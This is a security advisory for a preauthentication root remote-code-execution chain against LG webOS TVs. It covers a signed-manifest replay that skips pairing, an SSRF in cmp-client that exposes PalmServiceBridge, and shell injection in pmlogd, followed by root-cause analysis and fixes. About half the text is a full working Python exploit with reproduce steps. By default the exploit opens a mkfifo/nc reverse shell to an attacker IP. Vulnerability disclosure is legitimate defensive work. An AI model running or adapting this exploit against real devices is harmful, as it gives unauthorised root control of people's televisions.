LG webOS sync-demo Preauth RCE

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Content

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LG webOS sync-demo Preauth RCE

- October 12, 2026
- SSD Secure Disclosure technical team
- Vulnerability publication

Summary

This report covers a fullchain built from `sync-demo LG-signed manifest replay client-key issuance bypass`, `cmp-client interactiveUrl PalmServiceBridge SSRF`, and `pmlogd collectAllLog targetDir command injection`. First, the attacker replays the LG-signed manifest embedded in `com.webos.app.sync-demo`. SSG trusts the signature and follows the `STB_INTERNAL_CONNECTION` prompt-skip path, issuing a SECURE-tier client-key without a PIN prompt. Then `cmp-client` navigates to an attacker-controlled `interactiveUrl`. The loaded page keeps the app instance bridge and calls Luna services as `cmp-client`. Finally, `collectAllLog` inserts `targetDir` and `targetFile` into shell command strings. Shell metacharacters in `targetDir` execute in the root PmLogDaemon context. In practice, the attacker first obtains a client-key, then reaches a Luna method that WSS does not expose directly, and finally runs a command as root.

Vendor Response

LG has issued a fix that can be found at:
https://lgsecurity.lge.com/bulletins/tv#updateDetails

Credit

An independent security researcher, won third play in the LG webOS category during TyphoonPWN 2026.

Affected Versions

- LG `32LQ636BPSA`
- LG `27TQ600SW`
- webOS 7.5.7-25 (Rockhopper, mullet-mirima), firmware `04.54.40`

Technical Analysis

Scenario

1. Obtain a client-key through `sync-demo LG-signed manifest replay client-key issuance bypass`.
2. Reach the private/system Luna method through `cmp-client interactiveUrl PalmServiceBridge SSRF`.
3. Deliver the `pmlogd collectAllLog targetDir command injection` payload and run `SHELL_CMD` as root.

Reproduce

Step 1. Install Python dependencies.

```
python -m pip install websockets bleak
```

Step 2. Start a reverse shell listener.

```
nc -lvnp 4444
```

Step 3. Run the PoC with the target TV IP and attacker LAN IP.

```
TV_IP=<target_tv_ip> ATTACKER_IP=<attacker_lan_ip> REVSHELL_PORT=4444 python exploit.py
```

Step 4. For a non-interactive check, use a proof-file command instead of a reverse shell.

```
SHELL_CMD="id > /tmp/fullchain_proof.txt 2>&1" TV_IP=<target_tv_ip> ATTACKER_IP=
<attacker_lan_ip> python exploit.py
```

Step 5. If `/tmp/fullchain_proof.txt` contains `uid=0(root)`, the root command execution path is confirmed.

Proof of Concept

The PoC below is identical to the `exploit.py` used for this chain.

```
#!/usr/bin/env python3
import asyncio, base64, json, os, ssl, sys, time, threading
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import websockets

TV_IP         = os.environ.get('TV_IP',         '192.168.50.198')
ATTACKER_IP   = os.environ.get('ATTACKER_IP',   '192.168.50.96')
ATTACKER_PORT = int(os.environ.get('ATTACKER_PORT', '8088'))
REVSHELL_PORT = int(os.environ.get('REVSHELL_PORT', '4444'))
SHELL_CMD     = os.environ.get('SHELL_CMD') or (
    'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' +
    ATTACKER_IP + ' ' + str(REVSHELL_PORT) + ' >/tmp/f'
)
WSS_URL = 'wss://' + TV_IP + ':3001'
print('[*] target ' + WSS_URL)

_id_ctr = 100
_pending = {}
_any = []

def _next_id():
    global _id_ctr
    v = _id_ctr; _id_ctr += 1; return v

def on_any(h):
    _any.append(h)
    def unsub():
        if h in _any: _any.remove(h)
    return unsub

async def _recv_loop(ws):
    try:
        async for raw in ws:
            try: m = json.loads(raw)
            except: continue
            mid = m.get('id')
            if mid is not None:
                fut = _pending.get(mid)
                if fut and m.get('type') in ('registered','response','error'):
                    _pending.pop(mid, None)
                    if not fut.done(): fut.set_result(m)
                    continue
            for h in list(_any):
```

```
                try: h(m)
                except: pass
    except Exception: pass

async def _send(ws, msg, timeout=10.0):
    if 'id' not in msg: msg['id'] = _next_id()
    loop = asyncio.get_running_loop()
    fut = loop.create_future()
    _pending[msg['id']] = fut
    await ws.send(json.dumps(msg,separators=(',',':')))
    try:
        return await asyncio.wait_for(asyncio.shield(fut), timeout=timeout)
    except asyncio.TimeoutError:
        _pending.pop(msg['id'], None)
        raise TimeoutError('timeout id=' + str(msg['id']))

async def acquire_a2(ws):
    MANIFEST = {
        'manifestVersion':1,'appVersion':'1.0',
        'signed':{
            'created':'20130630','appId':'com.lge.test','vendorId':'com.lge',
            'localizedAppNames':{'':'B&O App','ko-KR':'B&O □','zxx-XX':'ЛГ Test Rэмотэ
АПП'},
            'localizedVendorNames':{'':'LG Electronics'},
            'permissions':[

'TEST_SECURE','READ_RUNNING_APPS','READ_LGE_SDX','READ_LGE_TV_INPUT_EVENTS',

'READ_NOTIFICATIONS','SEARCH','WRITE_SETTINGS','WRITE_NOTIFICATION_ALERT',
                'READ_UPDATE_INFO','STB_INTERNAL_CONNECTION','UPDATE_FROM_REMOTE_APP'
            ],
            'serial':'3c6f8f1519ac979d1ce1064329e0f2e7'
        },
        'permissions':[
            'LAUNCH','LAUNCH_WEBAPP','TEST_OPEN','TEST_PROTECTED','CONTROL_AUDIO',
            'CONTROL_DISPLAY','CONTROL_INPUT_JOYSTICK','CONTROL_INPUT_MEDIA_RECORDING',

'CONTROL_INPUT_MEDIA_PLAYBACK','CONTROL_INPUT_TV','CONTROL_POWER','CONTROL_INPUT_TEXT',
            'CONTROL_MOUSE_AND_KEYBOARD','READ_APP_STATUS','READ_CURRENT_CHANNEL',
            'READ_INPUT_DEVICE_LIST','READ_NETWORK_STATE','READ_INSTALLED_APPS',

'READ_TV_CHANNEL_LIST','WRITE_NOTIFICATION_TOAST','WRITE_SETTINGS','READ_SETTINGS'
        ],
        'signatures':[{'signatureVersion':1,
```

```
'signature':'eyJhbGdvcml0aG0iOiJSU0EtU0hBMjU2Iiwia2V5SWQiOiJ0ZXN0LXNpZ25pbmctY2VydCIsInNp
Z25hdHVyZVZlcnNpb24iOjF9.lsnJGXZ7eA6bfJEU5q+0cvBNu+Ski72u0+InBNQUASejCwR8c+pdQEC/nuIWTZoq
h42nTBEvUWecZ36C71yFxZOj15W80hgohFZQTIqg5ibppGJuGApdFIfZI7Ir9+NC5VVmsxLTy2aWTPL1l3J8eb4El
fHyybqjrn2ooFof4cd6gxn2SuxFoyU3jVkwiMgmZys51KJbgGMiUi2B0JM265eRavpA0StpZNzPYiKNHDSQFWjHJI
E06GURPlTQ3jvHVxlEJlAqd0UdAP6XwrwBL6ZGrHsbE48MBFYAV7bNNbrIfM0le3FxagMfigouI3VbMpvdjTpSJAO
TXDywXLNAgA=='
        }]
    }
    for i in range(1, 4):
        reg = await _send(ws, {'type':'register','payload':{'manifest':MANIFEST}})
        if reg.get('payload', {}).get('client-key'):
            return reg['payload']['client-key']
        if i < 3: await asyncio.sleep(1.0)
    raise Exception('A2: register failed after 3 attempts')

async def invoke_b2(ws, c_uri, c_params):
    uri_b64    = base64.b64encode(c_uri.encode()).decode()
    params_b64 = base64.b64encode(json.dumps(c_params,separators=
(',',':')).encode()).decode()
    page_url   = 'http://' + ATTACKER_IP + ':' + str(ATTACKER_PORT) + '/p.html'
    html = (
        '<!DOCTYPE html><script>(function(){'
        'var U="' + uri_b64 + '";var P="' + params_b64 + '";'
        'function rep(t){try{fetch("/log?t="+encodeURIComponent(t)).catch(function()
{});}catch(_){}}'
        'if(window.PalmServiceBridge){'
        ' var b=new PalmServiceBridge();var d=false;'
        ' b.onservicecallback=function(r){if(d)return;d=true;rep("done");};'
        ' b.call(atob(U),atob(P));'
        ' setTimeout(function(){if(!d){d=true;rep("timeout");}},8000);'
        '}'
        '})();</script>'
    )
    loop = asyncio.get_running_loop()
    done_evt = asyncio.Event()
    def _make_handler():
        class H(BaseHTTPRequestHandler):
            protocol_version = 'HTTP/1.1'
            def _send_body(self, status, body=b'', headers=None):
                headers = headers or {}
                if isinstance(body, str): body = body.encode('utf-8')
                self.send_response(status)
                for k, v in headers.items(): self.send_header(k, v)
```

```
                self.send_header('Content-Length', str(len(body)))
                self.end_headers()
                if body: self.wfile.write(body)
            def do_HEAD(self):
                p = self.path or ''
                if p.startswith('/p.html') or p == '/':
                    self._send_body(200, b'', {'Content-Type':'text/html; charset=utf-
8','Access-Control-Allow-Origin':'*','Cache-Control':'no-store','Connection':'close'})
                else:
                    self._send_body(200, b'', {'Connection':'close'})
            def do_GET(self):
                p = self.path or ''
                if p.startswith('/p.html') or p == '/':
                    self._send_body(200, html, {'Content-Type':'text/html; charset=utf-
8','Access-Control-Allow-Origin':'*','Cache-Control':'no-store','Connection':'close'})
                elif p.startswith('/log'):
                    t = parse_qs(urlparse(p).query).get('t',[''])[0]
                    if t in ('done','timeout'):
                        loop.call_soon_threadsafe(done_evt.set)
                    self._send_body(200, b'OK', {'Access-Control-Allow-
Origin':'*','Connection':'close'})
                else:
                    self._send_body(200, b'OK', {'Connection':'close'})
            def log_message(self, *a): pass
        return H
    ThreadingHTTPServer.allow_reuse_address = True
    srv = ThreadingHTTPServer(('0.0.0.0', ATTACKER_PORT), _make_handler())
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    async def _launch():
        try:
            await _send(ws,{'type':'request',
                'uri':'luna://com.webos.applicationManager/closeByAppId',
                'payload':{'id':'com.webos.app.cmp-client'}},timeout=3.0)
        except: pass
        await asyncio.sleep(0.6)
        r = await _send(ws,{'type':'request',
            'uri':'luna://com.webos.applicationManager/launch',
            'payload':{'id':'com.webos.app.cmp-client','params':
{'interactiveUrl':page_url}}})
        if not r.get('payload') or r['payload'].get('returnValue') is False:
            raise Exception('B2: launch failed')
    try:
        await _launch()
        try: await asyncio.wait_for(done_evt.wait(), timeout=20.0)
```

```
        except asyncio.TimeoutError: pass
        if not done_evt.is_set():
            await _launch()
            try: await asyncio.wait_for(done_evt.wait(), timeout=20.0)
            except asyncio.TimeoutError: pass
        try:
            await _send(ws,{'type':'request',
                'uri':'luna://com.webos.applicationManager/closeByAppId',
                'payload':{'id':'com.webos.app.cmp-client'}},timeout=3.0)
        except: pass
    finally:
        srv.shutdown()
        srv.server_close()

def c_payload():
    return (
        'luna://com.webos.pmlogd/collectAllLog',
        {'targetDir':'X;' + SHELL_CMD + ';#','targetFile':'pwn'}
    )

async def main():
    ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ssl_ctx.check_hostname = False
    ssl_ctx.verify_mode = ssl.CERT_NONE
    async with websockets.connect(WSS_URL, ssl=ssl_ctx) as ws:
        recv_task = asyncio.create_task(_recv_loop(ws))
        try:
            await acquire_a2(ws)
            uri, params = c_payload()
            await invoke_b2(ws, uri, params)
        finally:
            recv_task.cancel()
            try: await recv_task
            except asyncio.CancelledError: pass
    print('exploit complete -- check nc listener')

if __name__ == '__main__':
    try:
        asyncio.run(main())
    except Exception as e:
        print('[ERR] ' + str(e), file=sys.stderr)
        sys.exit(1)
```

Root Cause Analysis

Initial client-key acquisition: sync-demo LG-signed manifest replay client-key issuance bypass

The replay works because the signed manifest is already present on the device image.

```
var Gi = { type: "register", id: 1, payload: { manifest: {
  signed: {
    appId: "com.lge.test",
    permissions: ["TEST_SECURE", "STB_INTERNAL_CONNECTION", "..."]
  },
  signatures: [{ signatureVersion: 1, signature: "eyJ..." }]
}}};
```

SSG verifies the manifest signature using the certificate referenced by the signature header. On the tested firmware, `test-signing-cert.pem` is trusted by SSG. After verification, the signed permissions are copied into the new client profile. The prompt decision happens in `ClientProfileManager.isPromptRequired()`:

```
if (newProfile.info.signed && newProfile.info.signed.permissions) {
    if (_.contains(newProfile.info.signed.permissions, "STB_INTERNAL_CONNECTION")) {
        return false;
    }
}
```

Because the replayed manifest contains `STB_INTERNAL_CONNECTION`, SSG skips the pairing prompt and saves the profile. The register response contains a new client-key.

Luna reachability expansion: cmp-client interactiveUrl PalmServiceBridge SSRF

`cmp-client` reads `interactiveUrl` from its launch parameters and treats a successful HEAD response as enough validation.

```
if (params && params.interactiveUrl) {
    fetch(params.interactiveUrl, { method: 'HEAD' })
        .then(response => {
            if (response.ok) {
                window.location = params.interactiveUrl;
            }
        });
}
```

There is no scheme check, host allowlist, or origin restriction. The app then navigates to attacker-controlled content.

The navigation stays inside the same webOS app instance. The loaded page still has access to `PalmServiceBridge`:

```
var psb = new PalmServiceBridge();
psb.call("luna://com.webos.service.livepick/getJsonFile", JSON.stringify(payload));
```

`cmp-client` is a trusted app with private/public ACG access and broad outbound permissions. The attacker page can therefore call Luna methods that the original WSS client cannot call directly.

Root command execution: pmlogd collectAllLog targetDir command injection

`collectAllLog` builds shell command strings using request-controlled path fields.

```
v8  = g_strdup(targetDir);
v11 = g_strdup(targetFile);

snprintf(v66, "rm -rf%s", targetDir_var);
system(v66);

v43 = g_strdup_printf("cd%s; tar -zcvf%s.tar.gz var; rm -rf%s",
                      targetDir, targetFile, targetDir_var);
system(v43);
```

`targetDir` is not restricted to a safe path component. If the caller sends shell metacharacters, they become part of the command string.

```
{"targetDir":"X;id > /tmp/pwn.txt 2>&1;#","targetFile":"pwn"}
```

The shell executes `id > /tmp/pwn.txt 2>&1` between the harmless prefix and the commented suffix. `PmLogDaemon` runs as root, so the injected command also runs as root.

Solution

Initial client-key acquisition: sync-demo LG-signed manifest replay client-key issuance bypass

Remove the hardcoded signed manifest from `sync-demo`.

Production firmware should not trust `test-signing-cert.pem` for remote pairing manifests. If `STB_INTERNAL_CONNECTION` is still needed, allow it only for specific appId/serial pairs and only from the expected local caller.

Luna reachability expansion: cmp-client interactiveUrl PalmServiceBridge SSRF

Validate `interactiveUrl` before navigation.

```
const u = new URL(params.interactiveUrl);
if (u.protocol !== "https:" || !ALLOWED_HOSTS.has(u.hostname)) {
    window.close();
    return;
}
```

Do not expose `PalmServiceBridge` to externally loaded pages. If cmp-client must load remote content, run that content in an untrusted WebView context with no Luna bridge.

Root command execution: pmlogd collectAllLog targetDir command injection

Treat `targetDir` and `targetFile` as path components, not shell text. Reject values containing `/`, whitespace, `;`, `&`, `|`, backticks, `$()`, or absolute paths.

Replace `system()` with argv-based process execution. Archive output should be created only under a fixed base directory with sanitized names.

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